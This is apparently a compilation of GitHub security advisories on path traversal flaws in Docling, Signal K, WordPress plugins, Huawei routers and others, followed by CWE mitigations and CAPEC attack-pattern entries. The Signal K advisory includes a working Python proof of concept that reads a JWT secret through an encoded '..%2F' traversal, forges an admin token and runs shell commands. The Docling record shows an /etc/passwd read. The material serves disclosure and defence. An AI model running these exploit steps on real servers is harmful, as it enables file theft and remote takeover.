[\u0027/tmp/odf_canary_eoz7_2d8/canary.png\u0027, ...]\ncontents present in html : True\ncontents present in markdown : True\ncontents present in json : True\n \ncontrol (in-archive href) : disclosed=False\ndeterminism : 10/10\n \n----------------------------------------------------------------------\nRESULT: REPRODUCED\n----------------------------------------------------------------------\n```\n \nThe canary is written outside the working tree and is never placed inside the archive. The sha256\nof the base64-decoded image in the export matches the source file exactly.\n \nThe control is the ordinary ODF convention, `xlink:href=\"Pictures/image1.png\"`. It resolves inside\nthe archive and discloses nothing, through the same function. That is what separates this from\nintended behaviour.\n \n### Output \u2014 read of a non-image path\n \nThe read happens before any decoding is attempted, so it is not confined to image files.\n \n```\n/etc/passwd status=success opened=[\u0027/etc/passwd\u0027]\n/etc/does_not_exist_9c1f status=success opened=[]\n```\n \nBoth conversions report success. Only the existing path is opened. Nothing in the conversion\nresult distinguishes the two cases, so the difference is usable as a silent file-existence oracle\nagainst arbitrary paths.\n \n## Impact\n \nConfirmed by execution, default install, no options set:\n \n1. **Arbitrary local file read.** A converted document names an absolute path and Docling opens\n it. Observed for `/etc/passwd` and for paths with no extension.\n2. **Silent file existence and readability oracle.** Present and absent paths are distinguishable\n by side effect while conversion reports success either way.\n3. **Full content disclosure.** Where the target decodes as an image, its bytes are embedded in\n the `DoclingDocument` and appear base64-encoded in the HTML, Markdown and JSON exports, byte\n for byte.\nThe disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly\nthan overstate the finding. On a document-conversion host that class is not marginal: page images\nfrom other conversions, scanned documents, cached artifacts and screenshots are exactly what such\na service accumulates. The project README describes \"local execution capabilities for sensitive\ndata and air-gapped environments\", which is the deployment where host-side file disclosure carries\nthe most weight.\n \n**Not demonstrated, and stated as such.** I have not tested this behind `docling-serve`. `.odt` is\nan accepted input format there, `json` is an accepted output format, and the service defaults to\nbinding `0.0.0.0` with `DOCLING_SERVE_API_KEY` unset, so on the face of it the same defect is\nreachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am\nraising it for you to check rather than presenting it as a result.",
"id": "GHSA-4xhp-xg4w-8ppm",
"modified": "2026-10-05T22:33:52Z",
"published": "2026-10-05T22:33:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/pull/4015"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311"
},
{
"type": "PACKAGE",
"url": "https://github.com/docling-project/docling"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/releases/tag/v2.120.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend"
}
GHSA-4XJ4-JGRG-3VVP
Vulnerability from github – Published: 2022-05-01 17:42 – Updated: 2022-05-01 17:42Directory traversal vulnerability in admin/skins.php for @lex Guestbook 4.0.2 and earlier allows remote attackers to create files in arbitrary directories via ".." sequences in the (1) aj_skin and (2) skin_edit parameters. NOTE: this can be leveraged for file inclusion by creating a skin file in the lang directory, then referencing that file via the lang parameter to index.php, which passes a sanity check in livre_include.php.
{
"affected": [],
"aliases": [
"CVE-2007-0205"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-01-11T22:28:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in admin/skins.php for @lex Guestbook 4.0.2 and earlier allows remote attackers to create files in arbitrary directories via \"..\" sequences in the (1) aj_skin and (2) skin_edit parameters. NOTE: this can be leveraged for file inclusion by creating a skin file in the lang directory, then referencing that file via the lang parameter to index.php, which passes a sanity check in livre_include.php.",
"id": "GHSA-4xj4-jgrg-3vvp",
"modified": "2022-05-01T17:42:27Z",
"published": "2022-05-01T17:42:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0205"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/31397"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/3103"
},
{
"type": "WEB",
"url": "http://acid-root.new.fr/poc/20070107.txt"
},
{
"type": "WEB",
"url": "http://osvdb.org/31708"
},
{
"type": "WEB",
"url": "http://osvdb.org/31709"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/2135"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/456218/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/21926"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4XJ8-GC87-984X
Vulnerability from github – Published: 2022-05-01 18:36 – Updated: 2022-05-01 18:36Directory traversal vulnerability in component/flashupload/download.jsp in the FlashUpload component in Korean GHBoard allows remote attackers to read arbitrary files via a .. (dot dot) in the name parameter.
{
"affected": [],
"aliases": [
"CVE-2007-5739"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-10-30T23:46:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in component/flashupload/download.jsp in the FlashUpload component in Korean GHBoard allows remote attackers to read arbitrary files via a .. (dot dot) in the name parameter.",
"id": "GHSA-4xj8-gc87-984x",
"modified": "2022-05-01T18:36:14Z",
"published": "2022-05-01T18:36:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5739"
},
{
"type": "WEB",
"url": "http://osvdb.org/38919"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3325"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/482687/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26182"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4XM8-RG9H-JHQ2
Vulnerability from github – Published: 2026-10-30 22:57 – Updated: 2026-11-09 20:39Summary
Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading /security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.
Details
Description
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
- Read
<config>/security.json— disclosing the JWT signing secret (512-hex) and user password hashes. - Forge an admin JWT — HS256-sign
{"id":"admin"}with the disclosed secret; accepted by/skServer/loginStatus(userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware,src/tokensecurity.ts:593, applied atsrc/tokensecurity.ts:953). - Gain remote code execution —
POST /skServer/providers(admin) accepts a provider of typeExecute;packages/streams/src/execute.ts:93executes it viaspawn('sh', ['-c', command])at creation time. The provider persists tosettings.jsonand survives restarts.
On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
- Validate
resourceIdagainst a strict whitelist (for example, UUID format) insrc/api/resources/index.tsbefore any storage call, including PUT/DELETE. - In
FileStore.getResource/setResource/deleteResource, canonicalise withpath.resolve()and reject results outsidethis.resources[type].path. - Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
- Consider gating provider types that execute commands (
Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.
Impact
Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.34.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@signalk/resources-provider"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-123807"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:57:22Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nPath traversal in the Signal K resources and applicationData APIs lets an\nunauthenticated or low-privileged user read, write and delete files outside\nthe storage root. Reading \u003cconfig\u003e/security.json discloses the JWT signing\nsecret, enabling admin token forgery and remote code execution. \n\n### Details\n\n## Description\n\nThe v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`).\n\nBecause the JWT signing secret is stored in plaintext in `\u003cconfig\u003e/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can:\n\n1. **Read `\u003cconfig\u003e/security.json`** \u2014 disclosing the JWT signing secret (512-hex) and user password hashes.\n2. **Forge an admin JWT** \u2014 HS256-sign `{\"id\":\"admin\"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: \"admin\"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`).\n3. **Gain remote code execution** \u2014 `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn(\u0027sh\u0027, [\u0027-c\u0027, command])` at creation time. The provider persists to `settings.json` and survives restarts.\n\nOn default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token.\n\n## Suggested fixes\n\n1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE.\n2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`.\n3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.\n4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in.\n\n### Proof of concept\n\nFully local testbed. Start the server, enable `allow_readonly=true`, then run:\n\n```python\n#!/usr/bin/env python3\nimport base64, hashlib, hmac, json, time, urllib.request\nBASE = \"http://127.0.0.1:3000\"\nCMD = \"id \u003e /tmp/sk-pwned\"\n\n# 1) unauthenticated traversal read of security.json\np = \"/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json\"\nsk = json.load(urllib.request.urlopen(BASE + p))[\"secretKey\"]\n\n# 2) forge admin JWT\nb64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nh = b64(json.dumps({\"alg\":\"HS256\",\"typ\":\"JWT\"}).encode())\nc = b64(json.dumps({\"id\":\"admin\",\"iat\":int(time.time())}).encode())\ntok = h+\".\"+c+\".\"+b64(hmac.new(sk.encode(), (h+\".\"+c).encode(), hashlib.sha256).digest())\nreq = urllib.request.Request(BASE+\"/skServer/loginStatus\", headers={\"Authorization\":\"JWT \"+tok})\nassert json.load(urllib.request.urlopen(req))[\"userLevel\"] == \"admin\"\n\n# 3) add an Execute provider -\u003e spawn(\u0027sh\u0027,\u0027-c\u0027,CMD)\nprov = {\"id\":\"poc-rce\",\"enabled\":True,\"logging\":False,\"type\":\"Execute\",\n \"options\":{\"type\":\"ws\",\"dataType\":\"SignalK\",\"command\":CMD}}\nreq = urllib.request.Request(BASE+\"/skServer/providers\", data=json.dumps(prov).encode(),\n headers={\"Authorization\":\"JWT \"+tok,\"Content-Type\":\"application/json\"}, method=\"POST\")\nprint(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists\n```\n\nReproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.\n\n### Impact\n\nUnauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix",
"id": "GHSA-4xm8-rg9h-jhq2",
"modified": "2026-11-09T20:39:56Z",
"published": "2026-10-30T22:57:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.34.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution"
}
GHSA-4XMF-8WJF-4HRH
Vulnerability from github – Published: 2022-05-14 03:18 – Updated: 2022-05-14 03:18Huawei home gateway products HiRouter-CD20 and WS5200 with the versions before HiRouter-CD20-10 1.9.6 and the versions before WS5200-10 1.9.6 have a path traversal vulnerability. Due to the lack of validation while these home gateway products install APK plugins, an attacker tricks a user into installing a malicious APK plugin, and plugin can overwrite arbitrary file of devices. Successful exploit may result in arbitrary code execution or privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2018-7933"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-10T14:29:00Z",
"severity": "HIGH"
},
"details": "Huawei home gateway products HiRouter-CD20 and WS5200 with the versions before HiRouter-CD20-10 1.9.6 and the versions before WS5200-10 1.9.6 have a path traversal vulnerability. Due to the lack of validation while these home gateway products install APK plugins, an attacker tricks a user into installing a malicious APK plugin, and plugin can overwrite arbitrary file of devices. Successful exploit may result in arbitrary code execution or privilege escalation.",
"id": "GHSA-4xmf-8wjf-4hrh",
"modified": "2022-05-14T03:18:59Z",
"published": "2022-05-14T03:18:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7933"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20180502-01-gateway-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4XMV-GHQX-JMPQ
Vulnerability from github – Published: 2022-05-17 01:43 – Updated: 2022-05-17 01:43Directory traversal vulnerability in preview.php in the Plugin Newsletter plugin 1.5 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the data parameter.
{
"affected": [],
"aliases": [
"CVE-2012-3588"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-06-19T20:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in preview.php in the Plugin Newsletter plugin 1.5 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the data parameter.",
"id": "GHSA-4xmv-ghqx-jmpq",
"modified": "2022-05-17T01:43:38Z",
"published": "2022-05-17T01:43:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-3588"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/76171"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49464"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/19018"
},
{
"type": "WEB",
"url": "http://www.opensyscom.fr/Actualites/wordpress-plugins-plugin-newsletter-remote-file-disclosure-vulnerability.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4XPQ-WQF9-P6MV
Vulnerability from github – Published: 2023-11-27 18:31 – Updated: 2023-11-27 18:31Arcserve UDP prior to 9.2 contains a path traversal vulnerability in com.ca.arcflash.ui.server.servlet.FileHandlingServlet.doUpload(). An unauthenticated remote attacker can exploit it to upload arbitrary files to any location on the file system where the UDP agent is installed.
{
"affected": [],
"aliases": [
"CVE-2023-42000"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-27T17:15:08Z",
"severity": "MODERATE"
},
"details": "Arcserve UDP prior to 9.2 contains a path traversal vulnerability in com.ca.arcflash.ui.server.servlet.FileHandlingServlet.doUpload(). An unauthenticated remote attacker can exploit it to upload arbitrary files to any location on the file system where the UDP agent is installed.",
"id": "GHSA-4xpq-wqf9-p6mv",
"modified": "2023-11-27T18:31:13Z",
"published": "2023-11-27T18:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42000"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2023-37"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.